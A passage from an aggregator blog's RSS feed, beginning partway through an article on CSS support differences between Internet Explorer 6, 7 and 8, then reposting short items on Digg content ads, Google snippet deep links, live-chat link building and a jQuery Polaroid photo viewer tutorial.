	border: solid 1px transparent;
}
</pre>
<h5>Description</h5>
<p>A transparent border color allows a border to occupy the same space as would be occupied if the border was visible, or opaque.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />Yes</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>Fixed-Position Elements</h4>
<h5>Example</h5>
<pre>
#box {
	position: fixed;
}
</pre>
<h5>Description</h5>
<p>This value for the <code>position</code> property allows an element to be positioned absolutely relative to the viewport.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />Yes</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>Fixed-Position Background Relative to Viewport</h4>
<h5>Example</h5>
<pre>
#box {
	background-image: url(images/bg.jpg);
	background-position: 0 0;
	background-attachment: fixed;
}
</pre>
<h5>Description</h5>
<p>A <code>fixed</code> value for the <code>background-attachment</code> property allows a background image to be positioned absolutely relative to the viewport.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />Yes</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h5>Bugs</h5>
<p>IE6 incorrectly fixes the background image in relation to the containing parent of the element that has the background set, therefore this value only works in IE6 when its used on the root element.</p>
<h4>Property Value &#8220;inherit&#8221;</h4>
<h5>Example</h5>
<pre>
#box {
	display: inherit;
}
</pre>
<h5>Description</h5>
<p>Applying the value <code>inherit</code> to a property allows an element to inherit the computed value for that property from its containing element.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />No</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h5>Bugs</h5>
<p>IE6 and IE7 do not support the value <code>inherit</code> except when applied to the <code>direction</code> and <code>visibility</code> properties.</p>
<h4>Border Spacing on Table Cells</h4>
<h5>Example</h5>
<pre>
table td {
	border-spacing: 3px;
}
</pre>
<h5>Description</h5>
<p>This property sets the spacing between the borders of adjacent table cells.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />No</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>Rendering of Empty Cells in Tables</h4>
<h5>Example</h5>
<pre>
table {
	empty-cells: show;
}
</pre>
<h5>Description</h5>
<p>This property, which only applies to elements that have their <code>display</code> property set to <code>table-cell</code>, allows empty cells to be rendered with their borders and backgrounds, or else hidden.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />No</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>Vertical Position of a Table Caption</h4>
<h5>Example</h5>
<pre>
table {
	caption-side: bottom;
}
</pre>
<h5>Description</h5>
<p>This property allows a table caption to appear at the bottom of a table, instead at the top, which is the default.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />No</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>Clipping Regions</h4>
<h5>Example</h5>
<pre>
#box {
	rect(20px, 300px, 200px, 100px)
}
</pre>
<h5>Description</h5>
<p>This property specifies an area of a box that is visible, making the rest &#8220;clipped&#8221;, or invisible.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />No</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h5>Bugs</h5>
<p>Interestingly, this property works in IE7 if the deprecated comma-less syntax is used (i.e. whitespace between the clipping values instead of commas).</p>
<h4>Orphaned and Widowed Text in Printed Pages</h4>
<h5>Example</h5>
<pre>
p {
	orphans: 4;
}

p {
	widows: 4;
}
</pre>
<h5>Description</h5>
<p>The <code>orphans</code> property specifies the minimum number of lines to display at the bottom of a printed page. The <code>widows</code> property specifies the minimum number of lines to display at the top of a printed page.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />No</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>Page Breaks Inside Boxes</h4>
<h5>Example</h5>
<pre>
#box {
	page-break-inside: avoid;
}
</pre>
<h5>Description</h5>
<p>This property specifies whether a page break should occur inside of a specified element or not.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />No</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>Outline Properties</h4>
<h5>Example</h5>
<pre>
#box {
	outline: solid 1px red;
}
</pre>
<h5>Description</h5>
<p><code>outline</code> is the shorthand property that encompasses <code>outline-style</code>, <code>outline-width</code>, and <code>outline-color</code>. This property is preferable to the <code>border</code> property since it does not affect document flow, thus better aiding debugging of layout issues.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />No</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>Alternative Values for the Display Property</code></h4>
<h5>Example</h5>
<pre>
#box {
	display: inline-block;
}
</pre>
<h5>Description</h5>
<p>The <code>display</code> property is usually set to <code>block</code>, <code>inline</code>, or <code>none</code>. Alternative values include:</p>
<ul>
<li><code>inline-block</code></li>
<li><code>inline-table</code></li>
<li><code>list-item</code></li>
<li><code>run-in</code></li>
<li><code>table</code></li>
<li><code>table-caption</code></li>
<li><code>table-cell</code></li>
<li><code>table-column</code></li>
<li><code>table-column-group</code></li>
<li><code>table-footer-group</code></li>
<li><code>table-header-group</code></li>
<li><code>table-row</code></li>
<li><code>table-row-group</code></li>
</ul>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />No</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>Handling of Collapsible Whitespace</code></h4>
<h5>Example</h5>
<pre>
p {
	white-space: pre-line;
}

div {
	white-space: pre-wrap;
}
</pre>
<h5>Description</h5>
<p>The <code>pre-line</code> value for the <code>white-space</code> property specifies that multiple whitespace elements collapse into a single space, while allowing explicitly set line breaks. The <code>pre-wrap</code> value for the <code>white-space</code> property specifies that multiple whitespace elements do not collapse into a single space, while allowing explicitly set line breaks.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />No</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h3>Other Miscellaneous Techniques</h3>
<h4>Media Types for @import</h4>
<h5>Example</h5>
<pre>
@import url("styles.css") screen;
</pre>
<h5>Description</h5>
<p>A media type for an imported style sheet is declared after the location of the style sheet, as in the example above. In this example, the media type is "screen".</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />No</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h5>Bugs</h5>
<p>Although IE6 and IE7 support <code>@import</code>, they fail when a media type is specified, causing the entire <code>@import</code> rule to be ignored.</p>
<h4>Incrementing of Counter Values</h4>
<h5>Example</h5>
<pre>
h2 {
	counter-increment: headers;
}

h2:before {
	content: counter(headers) ". ";
}
</pre>
<h5>Description</h5>
<p>This CSS technique allows auto-incrementing numbers to appear before specified elements, and is used in conjunction with the <code>before</code> pseudo-element.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />No</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>Quote Characters for Generated Content</h4>
<h5>Example</h5>
<pre>
q {
	quotes: "'" "'";
}

q:before {
	content: open-quote;
}

q:after {
	content: close-quote;
}
</pre>
<h5>Description</h5>
<p>Specifies the quote characters to use for generated content applied to the <code>q</code> (quotation) tag.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />No</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h3>Significant Bugs and Incompatibilities</h3>
<p>Following is a brief description of various <strong>bugs that occur in IE6 and IE7 that are not described</strong> or alluded to above. This list does not include items that lack support in all three browsers.</p>
<h4>IE6 Bugs</h4>
<ul>
<li>Doesn't support styling of the <code>&lt;abbr&gt;</code> element</li>
<li>Doesn't support classes	and IDs that begin with a hyphen or underscore</li>
<li><code>&lt;select&gt;</code> elements always appear at the top of the stack, unaffected by <code>z-index</code> values</li>
<li><code>:hover</code> pseudo-class values are ignored if anchor pseudo-classes are not in the correct order (<code>:link</code>, <code>:visited</code>, <code>:hover</code>)</li>
<li>An <code>!important</code> declaration on a property is overridden by a 2nd declaration of the same property in the same rule set that doesn't use <code>!important</code></li>
<li><code>height</code> behaves like <code>min-height</code></li>
<li><code>width</code> behaves like <code>min-width</code></li>
<li>Left and right margins are doubled on floated elements that touch their parents' side edges</li>
<li>Dotted borders appear identical to dashed borders</li>
<li><code>line-through</code> value for <code>text-decoration</code> property appears higher on the text than on other browsers</li>
<li>List items for an ordered list that have a layout will not increment their numbers, leaving all list items preceded by the number "1"</li>
<li>List items don't support all possible values for <code>list-style-type</code></li>
<li>List items with a specified <code>list-style-image</code> will not display the image if they are floated</li>
<li>Offers only partial support for <code>@font-face</code>
<li>Some selectors will wrongly match comments and the doctype declaration</li>
<li>If an ID selector combined with a class selector is unmatched, the same ID selector combined with different class selectors will also be treated as unmatched</li>
</ul>
<h4>IE7 Bugs</h4>
<ul>
<li>List items for an ordered list that have a layout will not increment their numbers, leaving all list items preceded by the number "1"</li>
<li>List items don't support all possible values for <code>list-style-type</code></li>
<li>List items with a specified <code>list-style-image</code> will not display the image if they are floated</li>
<li>Offers only partial support for <code>@font-face</code></li>
<li>Some selectors will wrongly match comments and the doctype declaration</li>
</ul>
<p>Some IE bugs not mentioned here occur only under particular circumstances, and are not specific to one particular CSS property or value. See the references below for some of those additional issues.</p>
<h3>Further Resources</h3>
<ul>
<li><a href="http://www.howtocreate.co.uk/ie8.html">Details of Changes in Internet Explorer 8</a></li>
<li><a href="http://msdn.microsoft.com/en-us/library/cc351024(VS.85).aspx">CSS Compatibility for Internet Explorer (MSDN)</a></li>
<li><a href="http://msdn.microsoft.com/en-us/library/cc304082(VS.85).aspx">CSS Improvements in Internet Explorer 8 (MSDN)</a></li>
<li><a href="http://www.positioniseverything.net/explorer.html">Internet Explorer Exposed - CSS Bugs @ Position Is Everything</a></li>
<li><a href="http://reference.sitepoint.com/css">SitePoint CSS Reference</a></li>
<li><a href="http://www.quirksmode.org/css/contents.html">CSS Contents and Browser Compatibility</a></li>
<li><a href="http://www.impressivewebs.com/10-useful-css-properties-not-supported-by-internet-explorer/">10 Useful CSS Properties Not Supported By Internet Explorer</a></li>
</ul>
<h4>About the Author</h4>
<p><em>Louis Lazaris is a writer and freelance Web Developer based in Toronto, Canada. He has 9 years of experience in the web development industry and posts <a href="http://www.impressivewebs.com/articles">web design articles</a> and <a href="http://www.impressivewebs.com/tutorials">tutorials</a> on his blog, <a href="http://www.impressivewebs.com">Impressive Webs</a>. You can <a href="http://twitter.com/ImpressiveWebs">follow Louis on Twitter</a> or contact him using <a href="http://www.impressivewebs.com/contact">this form</a>.</em></p>
<hr />
<p>© Louis Lazaris for <a href="http://www.smashingmagazine.com">Smashing Magazine</a>, 2009. |<br />
<a href="http://www.smashingmagazine.com/2009/10/14/css-differences-in-internet-explorer-6-7-and-8/">Permalink</a> |<br />
<a href="http://www.smashingmagazine.com/2009/10/14/css-differences-in-internet-explorer-6-7-and-8/#comments">36 comments</a> |<br />
<a title="Bookmark in del.icio.us" href="http://del.icio.us/post?url=http://www.smashingmagazine.com/2009/10/14/css-differences-in-internet-explorer-6-7-and-8/&amp;title=CSS Differences in Internet Explorer 6, 7 and 8">Add to del.icio.us</a> | <a title="Bookmark in Digg" href="http://digg.com/submit?phase=2&amp;url=http://www.smashingmagazine.com/2009/10/14/css-differences-in-internet-explorer-6-7-and-8/">Digg this</a> | <a title="Stumble on StumbleUpon" href="http://www.stumbleupon.com/submit?url=http://www.smashingmagazine.com/2009/10/14/css-differences-in-internet-explorer-6-7-and-8/">Stumble on StumbleUpon!</a> | <a title="Tweet us!" href="http://twitter.com/home?status=@tweetmeme%20@smashingmag%20Reading%20'CSS Differences in Internet Explorer 6, 7 and 8' http://www.smashingmagazine.com/2009/10/14/css-differences-in-internet-explorer-6-7-and-8/">Tweet it!</a> | <a title="Bookmark in Reddit" href="http://reddit.com/submit?url=http://www.smashingmagazine.com/2009/10/14/css-differences-in-internet-explorer-6-7-and-8/">Submit to Reddit</a> | <a href="http://forum.smashingmagazine.com/">Forum Smashing Magazine</a></p>
<p>
Post tags: <a href="http://www.smashingmagazine.com/tag/css/" rel="tag">CSS</a>, <a href="http://www.smashingmagazine.com/tag/internet-explorer/" rel="tag">internet explorer</a>
</p>
<p><a href="http://rss1.smashingmagazine.com/feed/">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/css-differences-in-internet-explorer-6-7-and-8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Digg’s New Ad Format Matches Popular Stories With Advertisers</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/digg%e2%80%99s-new-ad-format-matches-popular-stories-with-advertisers/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/digg%e2%80%99s-new-ad-format-matches-popular-stories-with-advertisers/#comments</comments>
		<pubDate>Fri, 09 Oct 2009 00:56:05 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[company]]></category>
		<category><![CDATA[digg]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[format]]></category>
		<category><![CDATA[government technology]]></category>
		<category><![CDATA[monetization]]></category>
		<category><![CDATA[popular government]]></category>
		<category><![CDATA[site]]></category>
		<category><![CDATA[social news]]></category>
		<category><![CDATA[testing the model]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/digg%e2%80%99s-new-ad-format-matches-popular-stories-with-advertisers/</guid>
		<description><![CDATA[Recently, we highlighted social news site Digg’s accelerating growth, a result of a number of new traffic enhancing features. The company has also been working to improve its monetization, after bringing in somewhere south of $10 million in 2008. Part of that process has been trying to include users in ads – for example, the [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://api.tweetmeme.com/share?url=http://mashable.com/2009/10/08/digg-content-ads/&amp;service=bit.ly"><img width="51" height="61" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/605f9_digg-content-ads" align="right" /></a>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/605f9_diggcontentads.jpg" align="right" alt="digg ads">Recently, we highlighted social news site Digg’s <a href="http://mashable.com/2009/09/08/digg-on-the-upswing/">accelerating growth</a>, a result of a number of new traffic enhancing features. The company has also been working to improve its monetization, after bringing in somewhere <a href="http://www.businessweek.com/magazine/content/08_52/b4114082618241.htm" target="_blank">south of $10 million</a> in 2008.  </p>
<p>Part of that process has been trying to include users in ads – for example, the ability to <a href="http://mashable.com/2009/08/06/digg-ads-2/">digg (or bury) sponsored stories</a>.  Now, the company is launching another format that doesn’t break far from the traditions of the site: Digg Content ads.<br />
<span></span><br />
The format matches stories that have already proved popular on the site (i.e. – made the homepage) with a relevant advertiser.  Digg’s <a href="http://blog.digg.com/?p=1057">example</a>: “Adobe is testing the model with banners that pull in popular government-technology stories from the Digg archive.”</p>
<p>It’s hard to find too much fault with that concept – it’s about as non-invasive as advertising as you can get and incorporates content that Digg users have already demonstrated they like.  Digg says the format is currently in limited release though, so most users probably won’t see the ads yet.  </p>
<hr />Reviews: <a href="http://www.blippr.com/apps/336668-Digg" target="_blank">Digg</a></p>
<p>Tags: <a href="http://mashable.com/tag/digg/">digg</a></p>
<p><a href="http://feedads.g.doubleclick.net/~at/b_FcadVc6Hu-rBxcwxieAaQ4rwg/0/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/cdc3d_di" border="0"></img></a><br />
<a href="http://feedads.g.doubleclick.net/~at/b_FcadVc6Hu-rBxcwxieAaQ4rwg/1/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/cdc3d_di" border="0"></img></a></p>
<div>
<a href="http://feeds.feedburner.com/~ff/Mashable?a=C17Pi8VQKpQ:EmjbaNwMM6I:D7DqB2pKExk"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/cdc3d_Mashable?i=C17Pi8VQKpQ:EmjbaNwMM6I:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=C17Pi8VQKpQ:EmjbaNwMM6I:V_sGLiPBpWU"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/78dc2_Mashable?i=C17Pi8VQKpQ:EmjbaNwMM6I:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=C17Pi8VQKpQ:EmjbaNwMM6I:F7zBnMyn0Lo"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/e82c6_Mashable?i=C17Pi8VQKpQ:EmjbaNwMM6I:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=C17Pi8VQKpQ:EmjbaNwMM6I:qj6IDK7rITs"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/e82c6_Mashable?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=C17Pi8VQKpQ:EmjbaNwMM6I:_e0tkf89iUM"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/2a093_Mashable?d=_e0tkf89iUM" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=C17Pi8VQKpQ:EmjbaNwMM6I:gIN9vFwOqvQ"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/2a093_Mashable?i=C17Pi8VQKpQ:EmjbaNwMM6I:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=C17Pi8VQKpQ:EmjbaNwMM6I:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/2a093_Mashable?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=C17Pi8VQKpQ:EmjbaNwMM6I:P0ZAIrC63Ok"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/2a093_Mashable?d=P0ZAIrC63Ok" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=C17Pi8VQKpQ:EmjbaNwMM6I:I9og5sOYxJI"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/6577e_Mashable?d=I9og5sOYxJI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=C17Pi8VQKpQ:EmjbaNwMM6I:CC-BsrAYo0A"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/6577e_Mashable?d=CC-BsrAYo0A" border="0"></img></a>
</div>
<p><a href="http://feeds2.feedburner.com/Mashable">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/digg%e2%80%99s-new-ad-format-matches-popular-stories-with-advertisers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Get More Links in Your Actual Google Results</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/get-more-links-in-your-actual-google-results/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/get-more-links-in-your-actual-google-results/#comments</comments>
		<pubDate>Sun, 04 Oct 2009 11:28:32 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[course money]]></category>
		<category><![CDATA[distinct sections]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[google results]]></category>
		<category><![CDATA[page]]></category>
		<category><![CDATA[quot]]></category>
		<category><![CDATA[search]]></category>
		<category><![CDATA[search google]]></category>
		<category><![CDATA[webmaster central]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/get-more-links-in-your-actual-google-results/</guid>
		<description><![CDATA[Google has started adding links to specific parts of webpages in the snippets on search results pages. Google gives the example of the result for the Wikipedia entry for &#34;Trans Fat.&#34; The snippet provides links to History, Chemistry, Presence in food, and Nutritional guidelines. These are all sections of one page that the user can [...]]]></description>
			<content:encoded><![CDATA[<p>Google has started adding links to specific parts of webpages in the snippets on search results pages. </p>
<p>Google <a href="http://googleblog.blogspot.com/2009/09/jump-to-information-you-want-right-from.html">gives the example</a> of the result for the Wikipedia entry for &quot;Trans Fat.&quot; The snippet provides links to History, Chemistry, Presence in food, and Nutritional guidelines. These are all sections of one page that the user can go straight to from the results page. </p>
<p><img alt="Links in Google Snippets" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/99cea_google-links-snippets.jpg" /><br />
Obviously, if you want to increase the amount of calls to action for your webpages from Google results, you will want to do what you can to cater to this new feature. Luckily, this isn&#8217;t a completely mysterious part of the algorithm (though the links are generated algorithmically) that Google is leaving you to figure out for yourself. A post on Google&#8217;s Webmaster Central blog essentially tells you what you have to do to get these links in snippets. </p>
<p>&quot;We generate these deep links completely algorithmically, based on page structure, so they could be displayed for any site (and of course money isn&#8217;t involved in any way, so you can&#8217;t pay to get these links),&quot; <a href="http://googlewebmastercentral.blogspot.com/2009/09/using-named-anchors-to-identify.html">says Raj Krishnan of Google&#8217;s Snippets team</a>. &quot;There are a few things you can do to increase the chances that they might appear on your pages.&quot;</p>
<p>To increase said chances, you should make sure any multi-topic pages are &quot;well-structured&quot; and broken into distinct sections. You should also make sure each section has an associated anchor with a descriptive name. Pages like this should have a table of contents which link to the individual anchors. </p>
<p>One thing to keep in mind is that these new links won&#8217;t appear for results in every search. Google says whether they show up or not depends on the specific query used to get to it. Ok, there is a bit of mystery there after all.</p>
<p><a href="http://feeds2.feedburner.com/webpronews/all">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/get-more-links-in-your-actual-google-results/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using LiveChat to Build Links</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/using-livechat-to-build-links/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/using-livechat-to-build-links/#comments</comments>
		<pubDate>Sat, 03 Oct 2009 15:50:21 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[Debra Mastaler]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[live chat]]></category>
		<category><![CDATA[real world]]></category>
		<category><![CDATA[source]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/using-livechat-to-build-links/</guid>
		<description><![CDATA[Always looking for more links?  I bet you haven&#8217;t considered using live chat to build links.  Debra Mastaler again outlines a creative, real-world example for suggesting links. Go to Source]]></description>
			<content:encoded><![CDATA[<p>Always looking for more links?  I bet you haven&#8217;t considered using live chat to build links.  Debra Mastaler again outlines a creative, real-world example for suggesting links.</p>
<p><a href="http://feedads.g.doubleclick.net/~a/riAe_kvq4xhkbedXJS-kTUqTpkY/0/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/7e7c9_di" border="0"></img></a><br />
<a href="http://feedads.g.doubleclick.net/~a/riAe_kvq4xhkbedXJS-kTUqTpkY/1/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/7e7c9_di" border="0"></img></a></p>
<div>
</div>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/a7f91_M__gQ1Qfv_I" height="1" width="1" /><br />
<a href="http://feeds.sphinn.com/sphinn?format=xml">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/using-livechat-to-build-links/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The Polaroid Photo Viewer &#8211; Non-Full Screen</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/tutorial/the-polaroid-photo-viewer-non-full-screen/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/tutorial/the-polaroid-photo-viewer-non-full-screen/#comments</comments>
		<pubDate>Sat, 03 Oct 2009 12:26:58 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[tutorial]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[css3]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[original script]]></category>
		<category><![CDATA[photo]]></category>
		<category><![CDATA[photo viewer]]></category>
		<category><![CDATA[Polaroid]]></category>
		<category><![CDATA[polaroid photo]]></category>
		<category><![CDATA[polaroids]]></category>
		<category><![CDATA[Read]]></category>
		<category><![CDATA[VIEWER]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/tutorial/the-polaroid-photo-viewer-non-full-screen/</guid>
		<description><![CDATA[Pretty fast after I placed the Polaroid Photo Viewer with CSS3 and jQuery example online, I received loads of e-mails and comments requesting another feature. The original example was only full-screen, but people wanted it to &#34;stick&#34; to a box (Placing it inside a &#60;div&#62;). By making a couple of changes to the original code, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://feedads.g.doubleclick.net/~a/5xnxQKE-_9QdtTt47t2P7W1W0hU/0/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/fde81_di" border="0"></img></a><br />
<a href="http://feedads.g.doubleclick.net/~a/5xnxQKE-_9QdtTt47t2P7W1W0hU/1/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/69801_di" border="0"></img></a></p>
<p>Pretty fast after I placed the <a href="http://www.marcofolio.net/webdesign/creating_a_polaroid_photo_viewer_with_css3_and_jquery.html" title="Creating a polaroid photo viewer with CSS3 and jQuery"><strong>Polaroid Photo Viewer with CSS3 and jQuery</strong></a> example online, I received loads of e-mails and comments requesting another feature. The original example was only full-screen, but people wanted it to &quot;stick&quot; to a box (Placing it inside a <code>&lt;div&gt;</code>).</p>
<p>By making a couple of changes to the original code, I managed to make this work too. So today, I present you the <strong>non-full screen</strong> version of <a href="http://www.marcofolio.net/webdesign/creating_a_polaroid_photo_viewer_with_css3_and_jquery.html" title="Creating a polaroid photo viewer with CSS3 and jQuery">the popular Polaroid Photo Viewer with CSS3 and jQuery</a>.</p>
<div>
	<img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/29752_polaroid_non_full.png" alt="The Polaroid Photo Viewer - Non-Full Screen" />
</div>
<p>Try dragging the polaroids around in the demo. You&#8217;ll be able to do so, but the surrounding division seems to prevent the user from actually dragging it outside it&#8217;s container.</p>
<div><a href="http://demo.marcofolio.net/polaroid_photo_container/" title="Demo The Polaroid Photo Viewer - Non-Full Screen"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/49b71_demo.png" alt="Demo The Polaroid Photo Viewer - Non-Full Screen" /></a>&nbsp;&nbsp;<br />
<a href="http://www.marcofolio.net/downloads/webdesign/the_polaroid_photo_viewer_non-full_screen/download.html" title="Download The Polaroid Photo Viewer - Non-Full Screen"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/c2e11_download.png" alt="Download The Polaroid Photo Viewer - Non-Full Screen" /></a></div>
<p>Just like with the original example, this example only works on modern browsers supporting CSS3 (<a href="http://www.apple.com/safari/" title="Download Safari">Safari</a>, <a href="http://www.google.com/chrome/" title="Download Chrome">Chrome</a> and <a href="http://www.mozilla.com/firefox/" title="Download Firefox">Firefox 3.5</a>). This probably would work with Opera too, but I haven&#8217;t tested it.</p>
<p>Now to show you which small changes are made to the original script to make this one work.</p>
<p><a href="http://www.marcofolio.net/webdesign/the_polaroid_photo_viewer_non-full_screen.html">Read more&#8230;</a></p>
<div>
<a href="http://feeds.feedburner.com/~ff/marcofolio?a=uLZ9Unc3d0w:rQNP1gS7YhE:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/c2e11_marcofolio?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/marcofolio?a=uLZ9Unc3d0w:rQNP1gS7YhE:bcOpcFrp8Mo"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/6c440_marcofolio?d=bcOpcFrp8Mo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/marcofolio?a=uLZ9Unc3d0w:rQNP1gS7YhE:gIN9vFwOqvQ"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/8336a_marcofolio?i=uLZ9Unc3d0w:rQNP1gS7YhE:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/marcofolio?a=uLZ9Unc3d0w:rQNP1gS7YhE:F7zBnMyn0Lo"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/63757_marcofolio?i=uLZ9Unc3d0w:rQNP1gS7YhE:F7zBnMyn0Lo" border="0"></img></a> <a 